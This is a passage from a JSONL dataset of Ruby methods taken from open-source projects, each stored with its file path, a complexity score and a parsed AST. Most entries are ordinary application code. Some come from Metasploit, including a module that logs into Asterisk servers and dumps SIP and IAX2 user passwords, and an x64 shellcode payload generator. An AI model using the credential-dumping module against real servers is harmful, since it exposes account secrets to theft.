sym\",\"children\":[\"wait\"]},{\"type\":\"lvar\",\"children\":[\"estimated_delay\"]}]}]}]},\"perform_later\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"session_id\"]}]}]}]}","id":"fa3bd6c0-4a54-4d3c-be8c-be6936772c1f"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/trust_level3_requirements.rb","start_line":280,"raw_source":"def self.num_posts_in_time_period\n Discourse.redis.get(NUM_POSTS_KEY) ||\n begin\n count = Post.public_posts.visible.created_since(SiteSetting.tl3_time_period.days.ago).count\n Discourse.redis.setex NUM_POSTS_KEY, CACHE_DURATION, count\n count\n end\n end","complexity_score":18.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"num_posts_in_time_period\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"get\",{\"type\":\"const\",\"children\":[null,\"NUM_POSTS_KEY\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"public_posts\"]},\"visible\"]},\"created_since\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"tl3_time_period\"]},\"days\"]},\"ago\"]}]},\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"setex\",{\"type\":\"const\",\"children\":[null,\"NUM_POSTS_KEY\"]},{\"type\":\"const\",\"children\":[null,\"CACHE_DURATION\"]},{\"type\":\"lvar\",\"children\":[\"count\"]}]},{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]}","id":"6e6123ac-8182-433a-824d-da131cf35041"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/asterisk_creds.rb","start_line":41,"raw_source":"def run\n vprint_status 'Connecting...'\n\n connect\n banner = sock.get_once\n\n unless banner =~ %r{Asterisk Call Manager/([\\d\\.]+)}\n fail_with Failure::BadConfig, 'Asterisk Call Manager does not appear to be running'\n end\n\n print_status \"Found Asterisk Call Manager version #{$1}\"\n\n unless login\n fail_with Failure::NoAccess, 'Authentication failed'\n end\n\n print_good 'Authenticated successfully'\n\n @users = []\n retrieve_users 'sip'\n retrieve_users 'iax2'\n\n if @users.empty?\n print_error 'Did not find any users'\n return\n end\n\n print_status \"Found #{@users.length} users\"\n\n cred_table = Rex::Text::Table.new 'Header' => 'Asterisk User Credentials',\n 'Indent' => 1,\n 'Columns' => ['Username', 'Secret', 'Type']\n\n @users.each do |user|\n cred_table << [\n user['username'],\n user['password'],\n user['type']\n ]\n report_cred user: user['username'],\n password: user['password'],\n proof: \"#{user['type']} show users\"\n end\n\n print_line\n print_line cred_table.to_s\n\n p = store_loot 'asterisk.user.creds',\n 'text/csv',\n rhost,\n cred_table.to_csv,\n 'Asterisk User Credentials'\n\n print_good \"Credentials saved in: #{p}\"\n rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e\n print_error e.message\n ensure\n disconnect\n end","complexity_score":58.05,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Connecting...\"]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"banner\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"banner\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Asterisk Call Manager/([\\\\d\\\\.]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Asterisk Call Manager does not appear to be running\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found Asterisk Call Manager version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"login\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"Authentication failed\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Authenticated successfully\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@users\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"retrieve_users\",{\"type\":\"str\",\"children\":[\"sip\"]}]},{\"type\":\"send\",\"children\":[null,\"retrieve_users\",{\"type\":\"str\",\"children\":[\"iax2\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@users\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Did not find any users\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@users\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" users\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cred_table\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"Asterisk User Credentials\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Username\"]},{\"type\":\"str\",\"children\":[\"Secret\"]},{\"type\":\"str\",\"children\":[\"Type\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@users\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred_table\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_cred\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]}]},{\"type\":\"str\",\"children\":[\" show users\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred_table\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"asterisk.user.creds\"]},{\"type\":\"str\",\"children\":[\"text/csv\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred_table\"]},\"to_csv\"]},{\"type\":\"str\",\"children\":[\"Asterisk User Credentials\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Credentials saved in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"7e4d8418-d701-4e50-808b-ea127fc8a73f"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/windows/x64/messagebox.rb","start_line":38,"raw_source":"def generate(_opts = {})\n style = 0x00\n case datastore['ICON'].upcase.strip\n # default = NO\n when 'ERROR'\n style = 0x10\n when 'QUESTION'\n style = 0x20\n when 'WARNING'\n style = 0x30\n when 'INFORMATION'\n style = 0x40\n end\n\n exitfunc_asm = %(\n xor rcx,rcx\n mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}\n call rbp\n )\n if datastore['EXITFUNC'].upcase.strip == 'THREAD'\n exitfunc_asm = %(\n mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')}\n mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')}\n call rbp\n add rsp,0x28\n cmp al,0x6\n jl use_exitthread ; is older than Vista or Server 2003 R2?\n cmp bl,0xe0 ; check if GetVersion change the hash stored in EBX\n jne use_exitthread\n mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')}\n\n use_exitthread:\n push 0\n pop rcx\n mov r10d,ebx\n call rbp\n )\n end\n payload_asm = %(\n cld\n and rsp,0xfffffffffffffff0\n call start_main\n #{asm_block_api}\n start_main:\n pop rbp\n call get_user32\n db \"user32.dll\", 0x00\n get_user32:\n pop rcx\n mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}\n call rbp\n mov r9, #{style}\n call get_text\n db \"#{datastore['TEXT']}\", 0x00\n get_text:\n pop rdx\n call get_title\n db \"#{datastore['TITLE']}\", 0x00\n get_title:\n pop r8\n xor rcx,rcx\n mov r10d, #{Rex::Text.block_api_hash('user32.dll', 'MessageBoxA')}\n call rbp\n exitfunk:\n #{exitfunc_asm}\n )\n payload_data = Metasm::Shellcode.assemble(Metasm::X64.new, payload_asm).encode_string\n return payload_data\n end","complexity_score":46.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"style\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ICON\"]}]},\"upcase\"]},\"strip\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"ERROR\"]},{\"type\":\"lvasgn\",\"children\":[\"style\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"QUESTION\"]},{\"type\":\"lvasgn\",\"children\":[\"style\",{\"type\":\"int\",\"children\":[32]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"WARNING\"]},{\"type\":\"lvasgn\",\"children\":[\"style\",{\"type\":\"int\",\"children\":[48]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"INFORMATION\"]},{\"type\":\"lvasgn\",\"children\":[\"style\",{\"type\":\"int\",\"children\":[64]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"exitfunc_asm\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" xor rcx,rcx\\n\"]},{\"type\":\"str\",\"children\":[\" mov r10d, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"kernel32.dll\"]},{\"type\":\"str\",\"children\":[\"ExitProcess\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" call rbp\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EXITFUNC\"]}]},\"upcase\"]},\"strip\"]},\"==\",{\"type\":\"str\",\"children\":[\"THREAD\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exitfunc_asm\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" mov ebx, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"kernel32.dll\"]},{\"type\":\"str\",\"children\":[\"ExitThread\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" mov r10d, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"kernel32.dll\"]},{\"type\":\"str\",\"children\":[\"GetVersion\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" call rbp\\n\"]},{\"type\":\"str\",\"children\":[\" add rsp,0x28\\n\"]},{\"type\":\"str\",\"children\":[\" cmp al,0x6\\n\"]},{\"type\":\"str\",\"children\":[\" jl use_exitthread ; is older than Vista or Server 2003 R2?\\n\"]},{\"type\":\"str\",\"children\":[\" cmp bl,0xe0 ; check if GetVersion change the hash stored in EBX\\n\"]},{\"type\":\"str\",\"children\":[\" jne use_exitthread\\n\"]},{\"type\":\"str\",\"children\":[\" mov ebx, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"ntdll.dll\"]},{\"type\":\"str\",\"children\":[\"RtlExitUserThread\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" use_exitthread:\\n\"]},{\"type\":\"str\",\"children\":[\" push 0\\n\"]},{\"type\":\"str\",\"children\":[\" pop rcx\\n\"]},{\"type\":\"str\",\"children\":[\" mov r10d,ebx\\n\"]},{\"type\":\"str\",\"children\":[\" call rbp\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"payload_asm\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" cld\\n\"]},{\"type\":\"str\",\"children\":[\" and rsp,0xfffffffffffffff0\\n\"]},{\"type\":\"str\",\"children\":[\" call start_main\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"asm_block_api\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" start_main:\\n\"]},{\"type\":\"str\",\"children\":[\" pop rbp\\n\"]},{\"type\":\"str\",\"children\":[\" call get_user32\\n\"]},{\"type\":\"str\",\"children\":[\" db \\\"user32.dll\\\", 0x00\\n\"]},{\"type\":\"str\",\"children\":[\" get_user32:\\n\"]},{\"type\":\"str\",\"children\":[\" pop rcx\\n\"]},{\"type\":\"str\",\"children\":[\" mov r10d, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"kernel32.dll\"]},{\"type\":\"str\",\"children\":[\"LoadLibraryA\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" call rbp\\n\"]},{\"type\":\"str\",\"children\":[\" mov r9, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"style\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" call get_text\\n\"]},{\"type\":\"str\",\"children\":[\" db \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TEXT\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\", 0x00\\n\"]},{\"type\":\"str\",\"children\":[\" get_text:\\n\"]},{\"type\":\"str\",\"children\":[\" pop rdx\\n\"]},{\"type\":\"str\",\"children\":[\" call get_title\\n\"]},{\"type\":\"str\",\"children\":[\" db \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TITLE\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\", 0x00\\n\"]},{\"type\":\"str\",\"children\":[\" get_title:\\n\"]},{\"type\":\"str\",\"children\":[\" pop r8\\n\"]},{\"type\":\"str\",\"children\":[\" xor rcx,rcx\\n\"]},{\"type\":\"str\",\"children\":[\" mov r10d, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"block_api_hash\",{\"type\":\"str\",\"children\":[\"user32.dll\"]},{\"type\":\"str\",\"children\":[\"MessageBoxA\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" call rbp\\n\"]},{\"type\":\"str\",\"children\":[\" exitfunk:\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exitfunc_asm\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"Shellcode\"]},\"assemble\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"X64\"]},\"new\"]},{\"type\":\"lvar\",\"children\":[\"payload_asm\"]}]},\"encode_string\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_data\"]}]}]}]}","id":"8d23d6da-d7f6-4baf-8926-3bc075bb3aca"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/messages/index.rb","start_line":62,"raw_source":"def expect_num_replies(amount)\n expect(page).to have_css(\"td.replies\", text: amount)\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_num_replies\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"amount\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"td.replies\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"amount\"]}]}]}]}]}]}","id":"d5bf1d42-22ac-4b0d-8e68-6d78e81164d6"} {"repo_name":"forem","file_path":"./repos/forem/app/services/markdown_processor/parser.rb","start_line":84,"raw_source":"def calculate_reading_time\n word_count = @content.split(/\\W+/).count\n (word_count / WORDS_READ_PER_MINUTE).ceil\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_reading_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"word_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@content\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\W+\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word_count\"]},\"/\",{\"type\":\"const\",\"children\":[null,\"WORDS_READ_PER_MINUTE\"]}]}]},\"ceil\"]}]}]}","id":"a302ad2b-834d-4009-bed2-92e405e4abee"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb","start_line":4,"raw_source":"def self.up\n raise \"incorrect migration version\" unless version == 20131219224947\n end","complexity_score":4.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version\"]},\"==\",{\"type\":\"int\",\"children\":[20131219224947]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"incorrect migration version\"]}]}]}]}","id":"4f0e90ff-2550-4611-b991-3599237500d7"} {"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/frontend_asset_helper.rb","start_line":78,"raw_source":"def lookup_frontend_asset(unhashed_file_name)\n hashed_file_name = ::OpenProject::Assets.lookup_asset(unhashed_file_name)\n frontend_asset_path(hashed_file_name)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"lookup_frontend_asset\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"unhashed_file_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hashed_file_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"OpenProject\"]},\"Assets\"]},\"lookup_asset\",{\"type\":\"lvar\",\"children\":[\"unhashed_file_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"frontend_asset_path\",{\"type\":\"lvar\",\"children\":[\"hashed_file_name\"]}]}]}]}","id":"cb56ad41-2f3c-4574-b712-b1d2309ac50e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/database/rescue_query_canceled.rb","start_line":31,"raw_source":"def on_resbody(node)\n return unless node.children.first\n\n rescue_args = node.children.first.children\n return unless rescue_args.any? { |a| targets_exception?(a) }\n\n add_offense(node)\n end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"on_resbody\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"first\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"rescue_args\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"first\"]},\"children\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rescue_args\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[null,\"targets_exception?\",{\"type\":\"lvar\",\"children\":[\"a\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"b81abf1c-1d00-48bc-83c1-95d2d47a020e"} {"repo_name":"mastodon","file_path":"./repos/mastodon/lib/chewy/settings_extensions.rb","start_line":5,"raw_source":"def enabled?\n settings[:enabled]\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"enabled\"]}]}]}","id":"2be95184-8feb-43e2-b21f-a467121c8c26"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/browser_detection.rb","start_line":14,"raw_source":"def browser\n detection.id\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"browser\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"detection\"]},\"id\"]}]}","id":"b434efef-8a89-4d91-b361-e2b5abb88acd"} {"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/tags/collection_radio_buttons.rb","start_line":13,"raw_source":"def radio_button(extra_html_options = {})\n html_options = extra_html_options.merge(@input_html_options)\n html_options[:skip_default_ids] = false\n @template_object.radio_button(@object_name, @method_name, @value, html_options)\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"radio_button\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"extra_html_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"html_options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extra_html_options\"]},\"merge\",{\"type\":\"ivar\",\"children\":[\"@input_html_options\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"skip_default_ids\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template_object\"]},\"radio_button\",{\"type\":\"ivar\",\"children\":[\"@object_name\"]},{\"type\":\"ivar\",\"children\":[\"@method_name\"]},{\"type\":\"ivar\",\"children\":[\"@value\"]},{\"type\":\"lvar\",\"children\":[\"html_options\"]}]}]}]}","id":"6a9cee7e-51b6-45f3-8818-85853b2c980a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/printer/printer_version_info.rb","start_line":46,"raw_source":"def run_host(ip)\n connect\n pjl = Rex::Proto::PJL::Client.new(sock)\n pjl.begin_job\n\n id = 